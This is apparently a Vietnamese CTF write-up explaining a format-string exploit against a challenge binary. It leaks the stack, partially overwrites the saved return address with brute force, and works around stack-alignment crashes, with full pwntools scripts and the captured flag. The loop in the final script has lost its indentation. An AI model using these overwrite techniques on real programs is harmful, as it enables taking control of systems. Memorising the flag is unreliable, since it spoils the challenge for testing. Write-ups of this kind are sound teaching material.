-Xem xét ý tưởng ta có thể thấy vì không có hàm nào được gọi trực tiếp nên việc ghi địa chỉ hàm nào thành win là điều không thể nên ta chỉ còn cách là ghi đè save rip.Cụ thể là save rip của write_passwd thành win
-Tuy nhiên để ghi đè save rip thì phải có save_rip_adr nghĩa là giờ mình phải leak stack rồi tính save_rip_adr(vì bài này pie on).Nhưng ta không leak ở lần 2 vì nếu leak ở lần 2 thì mình không còn cách nào để ghi đè save rip của write_passwd cả.Và vì ở format string 1 cho phép mình nhập 8 byte lận mà mình leak pass chỉ mới dùng 4 byte nên còn dư 4 byte
-Ta cũng không nhất thiết phải biết cụ thể địa chỉ của win vì save rip sẽ trỏ về main nghĩa là 1 địa chỉ binary mà đều cùng là binary thì nó chỉ khác từ 2 byte cuối vậy nên mình có thể xem 1,5 byte cuối và chọn đại 0,5 byte còn lại và brute force là được.
-Xem lại hình ảnh stack và các thanh ghi thì thấy việc dùng dùng %p nghĩa là thanh ghi rsi để leak là khả thi
=>Thế là ta đã leak được stack rồi giờ chỉ cần tính offset từ cái mình leak ra đến save rip là được

```c
p.sendlineafter(b'Account: ',b'%p%7$s')
p.recvuntil(b'Account: ')
stack_leak=p.recv(14)
leak=p.recv(16)
save_rip=int(stack_leak,16)+0x2118
log.info('stack leak :'+stack_leak.decode())
log.info('save rip :'+hex(save_rip))
log.info('leak :'+ leak.decode())
```
-Tiếp tục thì giờ mình muốn ghi đè save rip thành win thì mình phải đưa save rip lên stack rồi mới ghi đè.Mà xét thấy trong write_passwd không còn lệnh đọc nào nữa vậy nên ta phải tận dụng readline ở trước khi vào write_passwd

-Ta thấy được 1.5 byte cuối của win là 329 thì mình chọn đại 0.5 byte nữa là đủ 2 byte rồi.Và mình chọn 1 nghĩa là mình sẽ ghi đè 5329 vô 2 byte cuối của save rip sau đó brute force

Code thiết lập:
```c
payload=leak+f'%{0x5329-0x10}c%38$hn'.encode()
payload=payload.ljust(32,b'z')+p64(save_rip)
p.sendlineafter(b'Password: ',payload)
```
=>Như này là mình đã ghi đè thành công thành win rồi

Tuy nhiên khi debug ta thấy nó sẽ bị lỗi như này là chương trình crash ngay lập tức khi thực thi lệnh system chứ chưa tới lệnh ret nữa nên chưa thực thi được win
-Dùng si để vào tiến trình con ta sẽ thấy

Nó bị lệch stack vậy giờ mình phải thêm lệnh ret vào mà giờ đâu thể thêm ret trên binary hay trên libc vì cơ bản là mình đâu có base nên không thể thêm được ret trên đấy.Tuy nhiên mình có thể tận dụng bằng có cách ret vào win 2 lần.Nghĩa là mình ghi đè save rip thành win và save rip +8 cũng thành win việc này fix được lỗi stack align và cũng có thể ret vào win
-Tuy nhiên sóng gió tới đây vẫn chưa hết khi mình ret vào win thì system trong win cũng lại bị lỗi stack align nữa.Tuy nhiên vì là nhảy vào từ 1 hàm khác nên có 1 trick là mình nhảy vào win nhưng phía sau cái lệnh push rbp thì nó sẽ không bị lệch
Script:
```c
p=process(exe.path)
p.sendlineafter(b'Account: ',b'%p%7$s')
p.recvuntil(b'Account: ')
stack_leak=p.recv(14)
leak=p.recv(16)
save_rip=int(stack_leak,16)+0x2118
log.info('stack leak :'+stack_leak.decode())
log.info('save rip :'+hex(save_rip))
log.info('leak :'+ leak.decode())
payload=leak+f'%{0x532e-0x10}c%39$hn%40$hn'.encode()
payload=payload.ljust(40,b'z')+p64(save_rip)+p64(save_rip+8)
p.sendlineafter(b'Password: ',payload)
```
Tới đây nếu debug noaslr thì sẽ ra flag.Tuy nhiên mình cần brute force để chạy trên sever.Nhớ 1 đặc điểm là nếu có shell thì shell ở trong flag.txt và mình send lệnh cat flag.txt vào luôn và mình recvall cái flag đấy vào 1 biến sau đó dùng if để check nếu biến đấy có chữa KCSC thì break vòng lặp.
Full script:
```c
#!/usr/bin/python3
from pwn import*
exe=ELF('./001_patched',checksec=False)
libc=ELF('./libc.so.6',checksec=False)
for i in range(1,160):
p=process(exe.path)
# p=remote('67.223.119.69',5007)
p.sendlineafter(b'Account: ',b'%p%7$s')
p.recvuntil(b'Account: ')
stack_leak=p.recv(14)
leak=p.recv(16)
save_rip=int(stack_leak,16)+0x2118
log.info('stack leak :'+stack_leak.decode())
log.info('save rip :'+hex(save_rip))
log.info('leak :'+ leak.decode())
payload=leak+f'%{0x532e-0x10}c%39$hn%40$hn'.encode()
payload=payload.ljust(40,b'z')+p64(save_rip)+p64(save_rip+8)
p.sendlineafter(b'Password: ',payload)
p.sendline(b'cat flag.txt')
output=p.recvall()
p.close()
if b'KCSC' in output:
break
# p=process(exe.path)
# p.sendlineafter(b'Account: ',b'%p%7$s')
# p.recvuntil(b'Account: ')
# stack_leak=p.recv(14)
# leak=p.recv(16)
# save_rip=int(stack_leak,16)+0x2118
# log.info('stack leak :'+stack_leak.decode())
# log.info('save rip :'+hex(save_rip))
# log.info('leak :'+ leak.decode())
# payload=leak+f'%{0x532e-0x10}c%39$hn%40$hn'.encode()
# payload=payload.ljust(40,b'z')+p64(save_rip)+p64(save_rip+8)
# p.sendlineafter(b'Password: ',payload)
#KCSC{0952629aed94e6960739df988da932115accc6d1d951496923819fe2263bfab5}
p.interactive()
```
Flag:`KCSC{0952629aed94e6960739df988da932115accc6d1d951496923819fe2263bfab5}`